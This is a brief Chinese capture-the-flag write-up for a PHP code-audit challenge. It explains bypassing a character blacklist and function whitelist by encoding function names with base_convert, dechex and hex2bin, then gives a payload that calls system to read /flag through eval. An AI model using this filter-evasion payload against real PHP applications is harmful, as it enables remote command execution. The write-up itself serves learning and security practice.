进入题目,直接源码
代码审计、
看师傅wp有黑名单字符过滤,有白名单函数过滤
于是用编码绕过,利用eval函数执行命令,system('cat /flag.txt')
base_convert(a,b,c) //将数值a按b进制转换为c进制
dechex //将10进制转成16进制
hex2bin() //16进制转成字符串 base_convert(37907361743,10,36)=hex2bin(36进制)
[]-->{}
php中执行函数可以把函数名通过字符串的方式传递给一个变量
如system(‘ls’);
可以换成
$a='system';
$a('ls');
变量名为白名单里的
于是payload
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat /flag